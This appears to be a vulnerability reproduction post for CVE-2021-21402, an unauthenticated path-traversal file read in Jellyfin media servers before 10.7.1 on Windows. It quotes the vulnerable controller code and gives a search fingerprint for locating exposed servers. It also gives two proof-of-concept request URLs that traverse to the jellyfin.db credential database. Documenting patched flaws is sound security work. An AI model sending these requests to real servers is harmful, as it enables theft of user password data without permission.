Jellyfin Stream Mp3 Arbitrary File Reading Vulnerability Cve 2021 21402
Jellyfin Stream Mp3 Arbitrary File Reading Vulnerability Cve 2021 21402
Jellyfin stream.mp3 arbitrary file reading vulnerability CVE-2021-21402
Vulnerability Description
Jellyfin is a free software media system.
Vulnerability Impact
Jellyfin < 10.7.1
Network surveying and mapping
title=’Jellyfin’ || body=’https://jellyfin.media’
Vulnerability reappears
Both the /Audio/{Id}/hls/{segmentId}/stream.mp3
and /Audio/{Id}/hls/{segmentId}/stream.aac
routes allow any file to be read on Windows.
Path.GetExtension(Request.Path)` returns an empty extension, resulting in full control over the path of the result file.
1
2
3
4
5
6
7
8
9
10
11
12
13
// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] // [1]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.mp3", Name = "GetHlsAudioSegmentLegacyMp3")]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.aac", Name = "GetHlsAudioSegmentLegacyAac")]
//...
public ActionResult GetHlsAudioSegmentLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string segmentId)
{
// TODO: Deprecate with new iOS app
var file = segmentId + Path.GetExtension(Request.Path); //[2]
file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);
return FileStreamResponseHelpers.GetStaticFileResult(file, MimeTypes.GetMimeType(file)!, false, HttpContext);
}
Use the following request to read the database file with the password
https://xxx.xxx.xxx.xxx /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/
Another code is as follows
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] //[1]
[HttpGet("Videos/{itemId}/hls/{playlistId}/{segmentId}.{segmentContainer}")]
//...
public ActionResult GetHlsVideoSegmentLegacy(
[FromRoute, Required] string itemId,
[FromRoute, Required] string playlistId,
[FromRoute, Required] string segmentId,
[FromRoute, Required] string segmentContainer)
{
var file = segmentId + Path.GetExtension(Request.Path); //[2]
var transcodeFolderPath = _serverConfigurationManager.GetTranscodePath();
file = Path.Combine(transcodeFolderPath, file); //[3]
var normalizedPlaylistId = playlistId;
var filePaths = _fileSystem.GetFilePaths(transcodeFolderPath);
// Add . to start of segment container for future use.
segmentContainer = segmentContainer.Insert(0, ".");
string? playlistPath = null;
foreach (var path in filePaths)
{
var pathExtension = Path.GetExtension(path);
if ((string.Equals(pathExtension, segmentContainer, StringComparison.OrdinalIgnoreCase)
|| string.Equals(pathExtension, ".m3u8", StringComparison.OrdinalIgnoreCase)) //[4]
&& path.IndexOf(normalizedPlaylistId, StringComparison.OrdinalIgnoreCase) != -1) //[5]
{
playlistPath = path;
break;
}
}
return playlistPath == null
? NotFound("Hls segment not found.")
: GetFileResult(file, playlistPath);
}
The /Videos/{Id}/hls/{PlaylistId}/{SegmentId}.{SegmentContainer}
route allows reading of any unauthenticated files on Windows.
The POC is as follows, download the same file
https://xxx.xxx.xxx.xxx/Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db
</a-alert>
This post is licensed under CC BY 4.0 by the author.